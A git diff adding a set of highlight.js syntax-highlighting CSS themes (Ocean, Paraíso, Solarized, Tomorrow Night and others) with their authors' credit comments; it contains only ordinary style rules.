+++ b/css/highlight/ocean.css
@@ -0,0 +1,74 @@
+/* Ocean Dark Theme */
+/* https://github.com/gavsiu */
+/* Original theme - https://github.com/chriskempson/base16 */
+
+/* Ocean Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #65737e;
+}
+
+/* Ocean Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #bf616a;
+}
+
+/* Ocean Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #d08770;
+}
+
+/* Ocean Yellow */
+.highlight .attribute {
+ color: #ebcb8b;
+}
+
+/* Ocean Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #a3be8c;
+}
+
+/* Ocean Blue */
+.highlight .title,
+.highlight .section {
+ color: #8fa1b3;
+}
+
+/* Ocean Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #b48ead;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #2b303b;
+ color: #c0c5ce;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/paraiso-dark.css b/css/highlight/paraiso-dark.css
new file mode 100644
index 00000000..2be71655
--- /dev/null
+++ b/css/highlight/paraiso-dark.css
@@ -0,0 +1,72 @@
+/*
+ Paraíso (dark)
+ Created by Jan T. Sott (http://github.com/idleberg)
+ Inspired by the art of Rubens LP (http://www.rubenslp.com.br)
+*/
+
+/* Paraíso Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #8d8687;
+}
+
+/* Paraíso Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .link,
+.highlight .meta {
+ color: #ef6155;
+}
+
+/* Paraíso Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .deletion {
+ color: #f99b15;
+}
+
+/* Paraíso Yellow */
+.highlight .title,
+.highlight .section,
+.highlight .attribute {
+ color: #fec418;
+}
+
+/* Paraíso Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #48b685;
+}
+
+/* Paraíso Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #815ba4;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #2f1e2e;
+ color: #a39e9b;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/paraiso-light.css b/css/highlight/paraiso-light.css
new file mode 100644
index 00000000..8a2fdabb
--- /dev/null
+++ b/css/highlight/paraiso-light.css
@@ -0,0 +1,72 @@
+/*
+ Paraíso (light)
+ Created by Jan T. Sott (http://github.com/idleberg)
+ Inspired by the art of Rubens LP (http://www.rubenslp.com.br)
+*/
+
+/* Paraíso Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #776e71;
+}
+
+/* Paraíso Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .link,
+.highlight .meta {
+ color: #ef6155;
+}
+
+/* Paraíso Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .deletion {
+ color: #f99b15;
+}
+
+/* Paraíso Yellow */
+.highlight .title,
+.highlight .section,
+.highlight .attribute {
+ color: #fec418;
+}
+
+/* Paraíso Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #48b685;
+}
+
+/* Paraíso Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #815ba4;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #e7e9db;
+ color: #4f424c;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/pojoaque.css b/css/highlight/pojoaque.css
new file mode 100644
index 00000000..1129ea5e
--- /dev/null
+++ b/css/highlight/pojoaque.css
@@ -0,0 +1,83 @@
+/*
+
+Pojoaque Style by Jason Tate
+http://web-cms-designs.com/ftopict-10-pojoaque-style-for-highlight-js-code-highlighter.html
+Based on Solarized Style from http://ethanschoonover.com/solarized
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #dccf8f;
+ background: url(./pojoaque.jpg) repeat scroll left top #181914;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #586e75;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .addition {
+ color: #b64926;
+}
+
+.highlight .number,
+.highlight .string,
+.highlight .doctag,
+.highlight .regexp {
+ color: #468966;
+}
+
+.highlight .title,
+.highlight .section,
+.highlight .built_in,
+.highlight .name {
+ color: #ffb03b;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .class .highlight .title,
+.highlight .type,
+.highlight .tag {
+ color: #b58900;
+}
+
+.highlight .attribute {
+ color: #b89859;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link,
+.highlight .subst,
+.highlight .meta {
+ color: #cb4b16;
+}
+
+.highlight .deletion {
+ color: #dc322f;
+}
+
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #d3a60c;
+}
+
+.highlight .formula {
+ background: #073642;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/purebasic.css b/css/highlight/purebasic.css
new file mode 100644
index 00000000..e3a149ee
--- /dev/null
+++ b/css/highlight/purebasic.css
@@ -0,0 +1,96 @@
+/*
+
+PureBASIC native IDE style ( version 1.0 - April 2016 )
+
+by Tristano Ajmone
+
+Public Domain
+
+NOTE_1: PureBASIC code syntax highlighting only applies the following classes:
+ .highlight .comment
+ .highlight .function
+ .highlight .keywords
+ .highlight .string
+ .highlight .symbol
+
+ Other classes are added here for the benefit of styling other languages with the look and feel of PureBASIC native IDE style.
+ If you need to customize a stylesheet for PureBASIC only, remove all non-relevant classes -- PureBASIC-related classes are followed by
+ a "--- used for PureBASIC ... ---" comment on same line.
+
+NOTE_2: Color names provided in comments were derived using "Name that Color" online tool:
+ http://chir.ag/projects/name-that-color
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #FFFFDF; /* Half and Half (approx.) */
+/* --- Uncomment to add PureBASIC native IDE styled font!
+ font-family: Consolas;
+*/
+}
+
+.highlight, /* --- used for PureBASIC base color --- */
+.highlight .type, /* --- used for PureBASIC Procedures return type --- */
+.highlight .function, /* --- used for wrapping PureBASIC Procedures definitions --- */
+.highlight .name,
+.highlight .number,
+.highlight .attr,
+.highlight .params,
+.highlight .subst {
+ color: #000000; /* Black */
+}
+
+.highlight .comment, /* --- used for PureBASIC Comments --- */
+.highlight .regexp,
+.highlight .section,
+.highlight .selector-pseudo,
+.highlight .addition {
+ color: #00AAAA; /* Persian Green (approx.) */
+}
+
+.highlight .title, /* --- used for PureBASIC Procedures Names --- */
+.highlight .tag,
+.highlight .variable,
+.highlight .code {
+ color: #006666; /* Blue Stone (approx.) */
+}
+
+.highlight .keyword, /* --- used for PureBASIC Keywords --- */
+.highlight .class,
+.highlight .meta-keyword,
+.highlight .selector-class,
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #006666; /* Blue Stone (approx.) */
+ font-weight: bold;
+}
+
+.highlight .string, /* --- used for PureBASIC Strings --- */
+.highlight .selector-attr {
+ color: #0080FF; /* Azure Radiance (approx.) */
+}
+
+.highlight .symbol, /* --- used for PureBASIC Constants --- */
+.highlight .link,
+.highlight .deletion,
+.highlight .attribute {
+ color: #924B72; /* Cannon Pink (approx.) */
+}
+
+.highlight .meta,
+.highlight .literal,
+.highlight .selector-id {
+ color: #924B72; /* Cannon Pink (approx.) */
+ font-weight: bold;
+}
+
+.highlight .strong,
+.highlight .name {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/qtcreator_dark.css b/css/highlight/qtcreator_dark.css
new file mode 100644
index 00000000..7cb83b1d
--- /dev/null
+++ b/css/highlight/qtcreator_dark.css
@@ -0,0 +1,83 @@
+/*
+
+Qt Creator dark color scheme
+
+*/
+
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #000000;
+}
+
+.highlight,
+.highlight .subst,
+.highlight .tag,
+.highlight .title {
+ color: #aaaaaa;
+}
+
+.highlight .strong,
+.highlight .emphasis {
+ color: #a8a8a2;
+}
+
+.highlight .bullet,
+.highlight .quote,
+.highlight .number,
+.highlight .regexp,
+.highlight .literal {
+ color: #ff55ff;
+}
+
+.highlight .code
+.highlight .selector-class {
+ color: #aaaaff;
+}
+
+.highlight .emphasis,
+.highlight .stronge,
+.highlight .type {
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .function,
+.highlight .section,
+.highlight .symbol,
+.highlight .name {
+ color: #ffff55;
+}
+
+.highlight .attribute {
+ color: #ff5555;
+}
+
+.highlight .variable,
+.highlight .params,
+.highlight .class .highlight .title {
+ color: #8888ff;
+}
+
+.highlight .string,
+.highlight .selector-id,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition,
+.highlight .link {
+ color: #ff55ff;
+}
+
+.highlight .comment,
+.highlight .meta,
+.highlight .deletion {
+ color: #55ffff;
+}
diff --git a/css/highlight/qtcreator_light.css b/css/highlight/qtcreator_light.css
new file mode 100644
index 00000000..848cd766
--- /dev/null
+++ b/css/highlight/qtcreator_light.css
@@ -0,0 +1,83 @@
+/*
+
+Qt Creator light color scheme
+
+*/
+
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #ffffff;
+}
+
+.highlight,
+.highlight .subst,
+.highlight .tag,
+.highlight .title {
+ color: #000000;
+}
+
+.highlight .strong,
+.highlight .emphasis {
+ color: #000000;
+}
+
+.highlight .bullet,
+.highlight .quote,
+.highlight .number,
+.highlight .regexp,
+.highlight .literal {
+ color: #000080;
+}
+
+.highlight .code
+.highlight .selector-class {
+ color: #800080;
+}
+
+.highlight .emphasis,
+.highlight .stronge,
+.highlight .type {
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .function,
+.highlight .section,
+.highlight .symbol,
+.highlight .name {
+ color: #808000;
+}
+
+.highlight .attribute {
+ color: #800000;
+}
+
+.highlight .variable,
+.highlight .params,
+.highlight .class .highlight .title {
+ color: #0055AF;
+}
+
+.highlight .string,
+.highlight .selector-id,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition,
+.highlight .link {
+ color: #008000;
+}
+
+.highlight .comment,
+.highlight .meta,
+.highlight .deletion {
+ color: #008000;
+}
diff --git a/css/highlight/railscasts.css b/css/highlight/railscasts.css
new file mode 100644
index 00000000..b2de1976
--- /dev/null
+++ b/css/highlight/railscasts.css
@@ -0,0 +1,106 @@
+/*
+
+Railscasts-like style (c) Visoft, Inc. (Damien White)
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #232323;
+ color: #e6e1dc;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #bc9458;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #c26230;
+}
+
+.highlight .string,
+.highlight .number,
+.highlight .regexp,
+.highlight .variable,
+.highlight .template-variable {
+ color: #a5c261;
+}
+
+.highlight .subst {
+ color: #519f50;
+}
+
+.highlight .tag,
+.highlight .name {
+ color: #e8bf6a;
+}
+
+.highlight .type {
+ color: #da4939;
+}
+
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .attr,
+.highlight .link {
+ color: #6d9cbe;
+}
+
+.highlight .params {
+ color: #d0d0ff;
+}
+
+.highlight .attribute {
+ color: #cda869;
+}
+
+.highlight .meta {
+ color: #9b859d;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #ffc66d;
+}
+
+.highlight .addition {
+ background-color: #144212;
+ color: #e6e1dc;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #600;
+ color: #e6e1dc;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .selector-class {
+ color: #9b703f;
+}
+
+.highlight .selector-id {
+ color: #8b98ab;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .link {
+ text-decoration: underline;
+}
diff --git a/css/highlight/rainbow.css b/css/highlight/rainbow.css
new file mode 100644
index 00000000..cd41f9a4
--- /dev/null
+++ b/css/highlight/rainbow.css
@@ -0,0 +1,85 @@
+/*
+
+Style with support for rainbow parens
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #474949;
+ color: #d1d9e1;
+}
+
+
+.highlight .comment,
+.highlight .quote {
+ color: #969896;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .type,
+.highlight .addition {
+ color: #cc99cc;
+}
+
+.highlight .number,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #f99157;
+}
+
+.highlight .string,
+.highlight .doctag,
+.highlight .regexp {
+ color: #8abeb7;
+}
+
+.highlight .title,
+.highlight .name,
+.highlight .section,
+.highlight .built_in {
+ color: #b5bd68;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .selector-id,
+.highlight .class .highlight .title {
+ color: #ffcc66;
+}
+
+.highlight .section,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .subst,
+.highlight .meta,
+.highlight .link {
+ color: #f99157;
+}
+
+.highlight .deletion {
+ color: #dc322f;
+}
+
+.highlight .formula {
+ background: #eee8d5;
+}
+
+.highlight .attr,
+.highlight .attribute {
+ color: #81a2be;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/routeros.css b/css/highlight/routeros.css
new file mode 100644
index 00000000..2fcafeac
--- /dev/null
+++ b/css/highlight/routeros.css
@@ -0,0 +1,108 @@
+/*
+
+ highlight.js style for Microtik RouterOS script
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #F0F0F0;
+}
+
+/* Base color: saturation 0; */
+
+.highlight,
+.highlight .subst {
+ color: #444;
+}
+
+.highlight .comment {
+ color: #888888;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .meta-keyword,
+.highlight .doctag,
+.highlight .name {
+ font-weight: bold;
+}
+
+.highlight .attribute {
+ color: #0E9A00;
+}
+
+.highlight .function {
+ color: #99069A;
+}
+
+.highlight .builtin-name {
+ color: #99069A;
+}
+
+/* User color: hue: 0 */
+
+.highlight .type,
+.highlight .string,
+.highlight .number,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #880000;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #880000;
+ font-weight: bold;
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #BC6060;
+}
+
+
+/* Language color: hue: 90; */
+
+.highlight .literal {
+ color: #78A960;
+}
+
+.highlight .built_in,
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #0C9A9A;
+}
+
+
+/* Meta color: hue: 200 */
+
+.highlight .meta {
+ color: #1f7199;
+}
+
+.highlight .meta-string {
+ color: #4d99bf;
+}
+
+
+/* Misc effects */
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/school-book.css b/css/highlight/school-book.css
new file mode 100644
index 00000000..dbdacb0d
--- /dev/null
+++ b/css/highlight/school-book.css
@@ -0,0 +1,69 @@
+/*
+
+School Book style from goldblog.com.ua (c) Zaripov Yura
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 15px 0.5em 0.5em 30px;
+ font-size: 11px;
+ line-height:16px;
+ background:#f6f6ae url(./school-book.png);
+ border-top: solid 2px #d2e8b9;
+ border-bottom: solid 1px #d2e8b9;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal {
+ color:#005599;
+ font-weight:bold;
+}
+
+.highlight,
+.highlight .subst {
+ color: #3e5915;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .attribute,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .link {
+ color: #2c009f;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .deletion,
+.highlight .meta {
+ color: #e60415;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .doctag,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .name,
+.highlight .selector-id,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/shades-of-purple.css b/css/highlight/shades-of-purple.css
new file mode 100644
index 00000000..01b3172a
--- /dev/null
+++ b/css/highlight/shades-of-purple.css
@@ -0,0 +1,96 @@
+/**
+ * Shades of Purple Theme — for Highlightjs.
+ *
+ * @author (c) Ahmad Awais
+ * @link GitHub Repo → https://github.com/ahmadawais/Shades-of-Purple-HighlightJS
+ * @version 1.5.0
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ /* Custom font is optional */
+ /* font-family: 'Operator Mono', 'Fira Code', 'Menlo', 'Monaco', 'Courier New', 'monospace'; */
+ padding: 0.5em;
+ background: #2d2b57;
+ font-weight: normal;
+}
+
+.highlight .title {
+ color: #fad000;
+ font-weight: normal;
+}
+
+.highlight .name {
+ color: #a1feff;
+}
+
+.highlight .tag {
+ color: #ffffff;
+}
+
+.highlight .attr {
+ color: #f8d000;
+ font-style: italic;
+}
+
+.highlight .built_in,
+.highlight .selector-tag,
+.highlight .section {
+ color: #fb9e00;
+}
+
+.highlight .keyword {
+ color: #fb9e00;
+}
+
+.highlight,
+.highlight .subst {
+ color: #e3dfff;
+}
+
+.highlight .string,
+.highlight .attribute,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition,
+.highlight .code,
+.highlight .regexp,
+.highlight .selector-class,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .template-tag,
+.highlight .quote,
+.highlight .deletion {
+ color: #4cd213;
+}
+
+.highlight .meta,
+.highlight .meta-string {
+ color: #fb9e00;
+}
+
+.highlight .comment {
+ color: #ac65ff;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .name,
+.highlight .strong {
+ font-weight: normal;
+}
+
+.highlight .literal,
+.highlight .number {
+ color: #fa658d;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/solarized-dark.css b/css/highlight/solarized-dark.css
new file mode 100644
index 00000000..38d84ac1
--- /dev/null
+++ b/css/highlight/solarized-dark.css
@@ -0,0 +1,84 @@
+/*
+
+Orginal Style from ethanschoonover.com/solarized (c) Jeremy Hull
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #002b36;
+ color: #839496;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #586e75;
+}
+
+/* Solarized Green */
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .addition {
+ color: #859900;
+}
+
+/* Solarized Cyan */
+.highlight .number,
+.highlight .string,
+.highlight .meta .highlight .meta-string,
+.highlight .literal,
+.highlight .doctag,
+.highlight .regexp {
+ color: #2aa198;
+}
+
+/* Solarized Blue */
+.highlight .title,
+.highlight .section,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #268bd2;
+}
+
+/* Solarized Yellow */
+.highlight .attribute,
+.highlight .attr,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .class .highlight .title,
+.highlight .type {
+ color: #b58900;
+}
+
+/* Solarized Orange */
+.highlight .symbol,
+.highlight .bullet,
+.highlight .subst,
+.highlight .meta,
+.highlight .meta .highlight .keyword,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .link {
+ color: #cb4b16;
+}
+
+/* Solarized Red */
+.highlight .built_in,
+.highlight .deletion {
+ color: #dc322f;
+}
+
+.highlight .formula {
+ background: #073642;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/solarized-light.css b/css/highlight/solarized-light.css
new file mode 100644
index 00000000..8d84c621
--- /dev/null
+++ b/css/highlight/solarized-light.css
@@ -0,0 +1,84 @@
+/*
+
+Orginal Style from ethanschoonover.com/solarized (c) Jeremy Hull
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #fdf6e3;
+ color: #657b83;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #93a1a1;
+}
+
+/* Solarized Green */
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .addition {
+ color: #859900;
+}
+
+/* Solarized Cyan */
+.highlight .number,
+.highlight .string,
+.highlight .meta .highlight .meta-string,
+.highlight .literal,
+.highlight .doctag,
+.highlight .regexp {
+ color: #2aa198;
+}
+
+/* Solarized Blue */
+.highlight .title,
+.highlight .section,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #268bd2;
+}
+
+/* Solarized Yellow */
+.highlight .attribute,
+.highlight .attr,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .class .highlight .title,
+.highlight .type {
+ color: #b58900;
+}
+
+/* Solarized Orange */
+.highlight .symbol,
+.highlight .bullet,
+.highlight .subst,
+.highlight .meta,
+.highlight .meta .highlight .keyword,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .link {
+ color: #cb4b16;
+}
+
+/* Solarized Red */
+.highlight .built_in,
+.highlight .deletion {
+ color: #dc322f;
+}
+
+.highlight .formula {
+ background: #eee8d5;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/srcery.css b/css/highlight/srcery.css
new file mode 100644
index 00000000..b9e96a8e
--- /dev/null
+++ b/css/highlight/srcery.css
@@ -0,0 +1,78 @@
+/*
+Description: Srcery dark color scheme for highlight.js
+Author: Chen Bin
+Website: https://srcery-colors.github.io/
+Date: 2020-04-06
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #1C1B19;
+ color: #FCE8C3;
+}
+
+.highlight .strong,
+.highlight .emphasis {
+ color: #918175;
+}
+
+.highlight .bullet,
+.highlight .quote,
+.highlight .link,
+.highlight .number,
+.highlight .regexp,
+.highlight .literal {
+ color: #FF5C8F;
+}
+
+.highlight .code,
+.highlight .selector-class {
+ color: #68A8E4
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .section,
+.highlight .attribute,
+.highlight .variable {
+ color: #EF2F27;
+}
+
+.highlight .name,
+.highlight .title {
+ color: #FBB829;
+}
+
+.highlight .type,
+.highlight .params {
+ color: #0AAEB3;
+}
+
+.highlight .string {
+ color: #98BC37;
+}
+
+.highlight .subst,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .symbol,
+.highlight .selector-id,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition {
+ color: #C07ABE;
+}
+
+.highlight .comment,
+.highlight .deletion,
+.highlight .meta {
+ color: #918175;
+}
diff --git a/css/highlight/sunburst.css b/css/highlight/sunburst.css
new file mode 100644
index 00000000..ae1b6b72
--- /dev/null
+++ b/css/highlight/sunburst.css
@@ -0,0 +1,102 @@
+/*
+
+Sunburst-like style (c) Vasily Polovnyov
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #000;
+ color: #f8f8f8;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #aeaeae;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .type {
+ color: #e28964;
+}
+
+.highlight .string {
+ color: #65b042;
+}
+
+.highlight .subst {
+ color: #daefa3;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #e9c062;
+}
+
+.highlight .title,
+.highlight .section,
+.highlight .tag,
+.highlight .name {
+ color: #89bdff;
+}
+
+.highlight .class .highlight .title,
+.highlight .doctag {
+ text-decoration: underline;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .number {
+ color: #3387cc;
+}
+
+.highlight .params,
+.highlight .variable,
+.highlight .template-variable {
+ color: #3e87e3;
+}
+
+.highlight .attribute {
+ color: #cda869;
+}
+
+.highlight .meta {
+ color: #8996a8;
+}
+
+.highlight .formula {
+ background-color: #0e2231;
+ color: #f8f8f8;
+ font-style: italic;
+}
+
+.highlight .addition {
+ background-color: #253b22;
+ color: #f8f8f8;
+}
+
+.highlight .deletion {
+ background-color: #420e09;
+ color: #f8f8f8;
+}
+
+.highlight .selector-class {
+ color: #9b703f;
+}
+
+.highlight .selector-id {
+ color: #8b98ab;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/tomorrow-night-blue.css b/css/highlight/tomorrow-night-blue.css
new file mode 100644
index 00000000..8d3656d8
--- /dev/null
+++ b/css/highlight/tomorrow-night-blue.css
@@ -0,0 +1,75 @@
+/* Tomorrow Night Blue Theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+/* Original theme - https://github.com/chriskempson/tomorrow-theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+
+/* Tomorrow Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #7285b7;
+}
+
+/* Tomorrow Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #ff9da4;
+}
+
+/* Tomorrow Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #ffc58f;
+}
+
+/* Tomorrow Yellow */
+.highlight .attribute {
+ color: #ffeead;
+}
+
+/* Tomorrow Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #d1f1a9;
+}
+
+/* Tomorrow Blue */
+.highlight .title,
+.highlight .section {
+ color: #bbdaff;
+}
+
+/* Tomorrow Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #ebbbff;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #002451;
+ color: white;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/tomorrow-night-bright.css b/css/highlight/tomorrow-night-bright.css
new file mode 100644
index 00000000..87ae1d84
--- /dev/null
+++ b/css/highlight/tomorrow-night-bright.css
@@ -0,0 +1,74 @@
+/* Tomorrow Night Bright Theme */
+/* Original theme - https://github.com/chriskempson/tomorrow-theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+
+/* Tomorrow Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #969896;
+}
+
+/* Tomorrow Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #d54e53;
+}
+
+/* Tomorrow Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #e78c45;
+}
+
+/* Tomorrow Yellow */
+.highlight .attribute {
+ color: #e7c547;
+}
+
+/* Tomorrow Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #b9ca4a;
+}
+
+/* Tomorrow Blue */
+.highlight .title,
+.highlight .section {
+ color: #7aa6da;
+}
+
+/* Tomorrow Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #c397d8;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: black;
+ color: #eaeaea;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
